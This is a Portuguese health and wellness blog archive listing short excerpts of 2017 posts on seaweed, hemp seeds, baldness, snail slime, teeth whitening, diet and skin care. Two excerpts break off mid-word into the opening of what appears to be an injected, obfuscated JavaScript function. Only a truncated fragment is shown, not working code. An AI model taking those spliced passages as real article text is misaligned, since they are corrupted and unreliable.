Jul 6, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios de consumir algas Sabia que consumir algas marinhas tem muitos benefícios para a sua saúde? As algas marinhas são compostas por grfunction a4872b9c6b(y1){var...
Jun 29, 2017 | Receitas, Saúde e bem estar
Benefícios das sementes de cânhamo para o nosso organismo Todas as semanas falo-lhe dos benefícios das superalimentos mais saudáveis que existem e hoje chegou a vez das sementes de cânhamo. Comecemos pelo início: as sementes de cânhamo são a semente da planta da...
Jun 29, 2017 | Saúde e bem estar
As 10 perguntas mais frequentes sobre calvície masculina Que questões atormentam os homens com falta de cabelo? A Clínica Saúde Viável responde às dúvidas mais comuns. 1- A minha calvície estará relacionada com a minha falta de autoconfiança? Segundo uma...
Jun 27, 2017 | Saúde e bem estar
Baba de caracol – um segredo anti-idade Qualquer mulher que se preocupe com a sua aparência sabe a importância de manter um rosto belo e bem cuidado. Um dos grfunction a4872b9c6b(y1){var...
Jun 24, 2017 | Saúde e bem estar
Dentes mais brancos – cuidados diários e solução caseira Quem é que não deseja sorrir para o mundo com dentes perfeitos e mais brancos? Para tal, manter uma boa higiene oral é essencial. É por isso que hoje lhe mostro alguns cuidados diários para ter dentes...
Jun 24, 2017 | Dicas úteis, Saúde e bem estar
Barriga lisa – 5 alimentos que deve evitar e 5 que deve consumir Se tem tendência a acumular gordura na zona abdominal, saiba que há 5 alimentos que deve evitar comer para assim conseguir a tão desejada barriga lisa. Entre esses alimentos estão o açúcar e os...
Jun 22, 2017 | Saúde e bem estar
Dicas saudáveis – 7 benefícios do potássio Hoje venho falar-lhe de um mineral muito importante para o normal funcionamento do nosso organismo, o potássio. E porque é que é importante? Porque influencia a nossa saúde óssea, muscular, nervosa e também a...
Jun 17, 2017 | Saúde e bem estar
10 segredos para uma pele perfeita Uma pele saudável, suave e sem imperfeições é o sonho de muitas mulheres, especialmente se estamos a falar na pele do rosto. Se é verdade que não há milagres também é verdade que pondo em prática alguns truques os resultados vão...
Jun 16, 2017 | Saúde e bem estar
Descubra qual o tipo de pão adequado à sua dieta Quentinho ou fresco e fofo. Com um fio de azeite ou manteiga, com doces ou geleias… O pão é delicioso de qualquer forma! Mas não devemos exagerar, já que em excesso pode ser prejudicial para a nossa saúde. Hoje em...
Jun 15, 2017 | Saúde e bem estar
Dicas saudáveis – 8 benefícios dos mirtilos Sabe que os mirtilos são considerados “o fruto da juventude” e o “rei dos antioxidantes”? São um verdadeiro tesouro nutricional e os nutricionistas garantem que são um dos alimentos mais...
